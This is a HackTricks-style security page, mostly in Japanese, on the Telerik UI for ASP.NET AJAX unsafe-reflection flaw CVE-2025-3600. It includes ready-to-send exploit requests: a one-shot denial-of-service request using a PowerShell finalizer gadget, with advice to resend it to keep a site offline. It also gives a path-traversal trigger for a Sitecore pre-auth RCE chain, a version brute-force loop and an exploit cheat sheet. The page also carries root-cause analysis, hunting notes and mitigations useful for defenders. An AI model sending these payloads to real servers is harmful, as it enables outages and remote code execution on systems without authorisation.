Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート

Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, pre‑auth RCE via target‑specific gadgets (CVE-2025-3600).

TL;DR

  • Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). 多くの製品で pre‑auth にさらされています。
  • Primitive: 攻撃者がタイプ名 (prtype) を制御します。ハンドラは Type.GetType() で解決し、interface の型安全を検証する前に Activator.CreateInstance() を呼び出します。パブリックでパラメータなしの .NET 型のコンストラクタはどれでも実行されます。
  • Impact:
    • .NET フレームワークのガジェット(PowerShell WSMan finalizer)を用いたユニバーサルな pre‑auth DoS。
    • 実際のデプロイでは、特に安全でない AppDomain.AssemblyResolve ハンドラなどのアプリ固有ガジェットを悪用して、しばしば pre‑auth RCE に至ります。
  • Fix: Telerik UI for ASP.NET AJAX を 2025.1.416+ に更新するか、ハンドラを削除/ロックダウンしてください。

Affected versions

  • Telerik UI for ASP.NET AJAX のバージョン 2011.2.712 から 2025.1.218(含む)は脆弱です。
  • 修正は 2025.1.416(2025-04-29 リリース)で行われました。直ちにパッチを適用するか、ハンドラを削除/ロックダウンしてください。

Affected surface and quick discovery

  • 公開状況の確認:
  • GET /Telerik.Web.UI.WebResource.axd がハンドラにマッピングされている場合、404/403 以外のレスポンスを返すはずです。
  • web.config を確認し、Telerik.Web.UI.WebResource.axd にマッピングされたハンドラを探してください。
  • / やログインページに Telerik の文字列があるかどうかだけに頼らないでください。Sitecore のような実製品は、デフォルトの HTML に参照を含めずにハンドラを公開していることが多いです。
  • 脆弱なコードパスをトリガーするには、type=iec、dkey=1、prtype= が必要です。

Example probe and generic trigger:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

注記

  • 一部の PoCs は dtype を使用します。実装はダウンロードフローで dkey==“1” をチェックします。
  • prtype は assembly-qualified であるか、現在の AppDomain で解決可能でなければなりません。

有用な code/ops チェック

<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />

<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'

レガシー環境での高速バージョントリアージ

同じアプリケーションがレガシーのtype=rauハンドラも公開している場合、古いTelerikツールはtype=iecの調査を行う前に共通のTelerik.Web.UI.dllのバージョンをフィンガープリントするのに役立ちます。これはCVE-2025-3600を直接悪用するものではなく、rauiecが同じアセンブリに存在するという事実を再利用しているにすぎません。

実践的な使い方:

  • type=rauにアクセス可能な場合、古いRAUツールのclassic major-version brute forceを使って正確なTelerik.Web.UIアセンブリのバージョンを特定します。
  • 復元したバージョンを脆弱な範囲(2011.2.712 to 2025.1.218)および修正済みビルド(2025.1.416+)と比較してください。
  • type=rauが存在しないことは結論不能として扱ってください。iecrauが無効化またはフィルタされている場合でも公開されている可能性があります。

レガシーなCVE-2019-18935.pyヘルパーの例:

for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done

なぜこれが役立つか:

  • 企業向けアプリケーションはしばしば長年にわたり古い Telerik ビルドをバンドルします。
  • Red teams は “handler exposed” と “likely still on a vulnerable DLL” を迅速に区別できます。
  • インシデント対応時に、同じ手法はファイルシステムへのアクセスがすぐに得られない場合でも大規模な IIS 環境の範囲を絞るのに役立ちます。

Root cause – unsafe reflection in ImageEditorCacheHandler

Image Editor のキャッシュダウンロードフローは、prtype で指定された型のインスタンスを構築し、その後で ICacheImageProvider にキャストしてダウンロードキーを検証します。検証が失敗した時点ですでにコンストラクタは実行されています。

関連する逆コンパイルされたフロー ```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }

private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

エクスプロイトのプリミティブ: 制御された型文字列 → Type.GetType が解決 → Activator.CreateInstance がその public な引数なしコンストラクタを実行する。たとえその後リクエストが拒否されても、ガジェットの副作用は既に発生している。

## ユニバーサル DoS ガジェット(アプリ固有のガジェットは不要)

クラス: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) には、未初期化のハンドルを破棄するファイナライザがあり、GC がファイナライズした際に未処理例外を発生させます。これにより、インスタンス生成後まもなく IIS ワーカープロセスが確実にクラッシュします。

ワンショット DoS リクエスト:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

  • サイトをオフラインに保つために定期的に送り続けてください。デバッガでコンストラクタがヒットするのが確認できる場合があり、クラッシュはファイナライゼーション時に発生します。

From DoS to RCE – エスカレーションパターン

安全でないコンストラクタの実行は、多くのターゲット固有のガジェットやチェーンを解放します。以下を探してください:

  1. Parameterless constructors that process attacker input
  • 一部の ctors(または static initializers)は即座に Request の query/body/cookies/headers を読み取り、それらを(デ)シリアライズします。
  • 例(Sitecore):ある ctor チェーンが GetLayoutDefinition() に到達し、HTTP ボディの “layout” を読み取り、JSON.NET 経由で JSON をデシリアライズします。
  1. Constructors that touch files
  • ディスクから config/blobs を読み込んだりデシリアライズする Ctros は、uploads/temp/data フォルダなどそのパスに書き込み可能であれば強制できます。
  1. Constructors performing app-specific ops
  • 状態のリセット、モジュールの切り替え、プロセスの終了など。
  1. Constructors/static ctors that register AppDomain event handlers
  • 多くのアプリは AppDomain.CurrentDomain.AssemblyResolve ハンドラを追加し、args.Name から DLL パスを生成しますが、サニタイズしていないことが多いです。型の解決に影響を与えられる場合、攻撃者管理下のパスから任意の DLL をロードさせることができます。
  1. Forcing AssemblyResolve via Type.GetType
  • 存在しない型をリクエストして CLR の解決を強制し、登録された(場合によっては安全でない)リゾルバを呼び出します。例: assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. 破壊的な副作用を持つファイナライザ
  • 一部の型はファイナライザで固定パスのファイルを削除します。これがリンクをたどる挙動や予測可能なパスと組み合わさると、特定の環境でローカル権限昇格を引き起こす可能性があります。

例:pre‑auth RCE チェーン (Sitecore XP)

  • Step 1 – Pre‑auth: 静的/インスタンスの ctor が安全でない AssemblyResolve ハンドラを登録する型をトリガーする(例: Sitecore の ControlFactory 内の FolderControlSource)。
  • Step 2 – Post‑auth: resolver-probed directory への書き込みを得て(例: auth bypass や weak upload による)、悪意ある DLL を配置する。
  • Step 3 – Pre‑auth: 存在しない型とトラバーサルを含むアセンブリ名で CVE‑2025‑3600 を悪用し、resolver に植えた DLL を読み込ませる → IIS worker としてコード実行。

トリガー例

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

検証、ハンティング、および DFIR ノート

  • Safe lab validation: DoS ペイロードを実行し、WSMan finalizer に関連したアプリプールのリサイクルや未処理例外を監視する。
  • Hunt in telemetry:
  • Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
  • Failed type loads and AppDomain.AssemblyResolve events.
  • Sudden w3wp.exe crashes/recycles following such requests.

Mitigation

  • Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later.
  • Remove or restrict exposure of Telerik.Web.UI.WebResource.axd where possible (WAF/rewrites).
  • Ignore or harden prtype handling server-side (upgrade applies proper checks before instantiation).
  • Audit and harden custom AppDomain.AssemblyResolve handlers. Avoid building paths from args.Name without sanitization; prefer strong-named loads or whitelists.
  • Constrain upload/write locations and prevent DLL drops into probed directories.
  • Monitor for non-existent type load attempts to catch resolver abuse.

チートシート

  • Presence check:
  • GET /Telerik.Web.UI.WebResource.axd
  • Look for handler mapping in web.config
  • Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • トリガーリゾルバ:
This.Class.Does.Not.Exist, watchTowr

関連テクニック

  • IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

参考資料

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート